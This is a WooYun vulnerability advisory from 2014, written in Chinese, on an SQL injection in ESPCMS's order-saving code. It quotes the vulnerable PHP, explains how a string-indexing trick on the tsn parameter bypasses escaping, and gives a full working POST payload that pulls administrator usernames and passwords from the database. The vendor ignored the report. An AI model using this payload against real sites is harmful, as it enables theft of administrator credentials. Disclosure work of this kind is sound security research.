当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(12) 关注此漏洞

缺陷编号: WooYun-2014-76417

漏洞标题: espcms sql注入漏洞

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Noxxx

提交时间: 2014-09-18 15:29

公开时间: 2014-12-14 15:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

刚刚看了 espcms的官网 发现2014-09-16 16:58:17更新了,下了份看下,发现这上面的几个漏洞完全没修复啊..上次提交了个漏洞只给了5rank..敢给多点么.这次和上次那个相似,怕你们只修复一处,这处也提交下。

详细说明:

在order.php in_ordersave中



365-367行附近

code 区域
foreach ($did as $key => $value) {
$value = intval($value);
$oprice[$key] = floatval($oprice[$key]);
$bprice[$key] = floatval($bprice[$key]);
$countprice[$key] = floatval($countprice[$key]);
$amount[$key] = intval($amount[$key]);

if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),";
}
}





这个 $tsn 和 $did $ptitle 都是可控的变量 就是等于 $_POST[XXX]

看这个 $tsn 如果不是数组会怎么样?取值就会变成 $tsn{x}的方式

所以我们可以利用这个来达到绕过转义的限制 来达到注入的目的。



$cookiceprice = $this->fun->eccode(md5("$productmoney|$discount_productmoney"), 'ENCODE', db_pscode);



if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) {



code 区域
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;







进入流程需要上面的条件。uncartid 是购物车列表里面的。后面的几个验证也是的。



我们只需要在【产品展示】->找一个产品然后【我要购买】就可以加入购物车里面了。



然后点【下一步(结算)】记住总金额。



index.php?ac=order&at=ordersave



productmoney和discount_productmoney替换成产品的金额。



productmoney=15000&discount_productmoney=15000&tsn=\&userid=4&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#&email=xxx@**.**.**.**&bprice=1&countprice=1&opid=1&osid=1



uid换成自己的 uid怎么获得 提交订单的页面 右键查看源码 <input type="hidden" name="userid" value="4"/>

即可



漏洞证明:

QQ截图20140917203033.png



QQ截图20140917203009.png



QQ截图20140917203103.png



QQ截图20140917203112.png

修复方案:

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-14 15:30

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-18 15:33 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    2

    你关注的绿帽子 Noxxx 发表了漏洞 espcms sql注入漏洞

  2. 2014-09-19 00:23 | 绿帽子 ( 路人 | Rank:16 漏洞数:3 | 咪咪)
    0

    ???

  3. 2015-03-31 09:31 | Zombiecc ( 路人 | Rank:0 漏洞数:2 | just for fun.)
    0

    为啥官方版本到现在还没有修补这个漏洞

登录后才能发表评论,请先 登录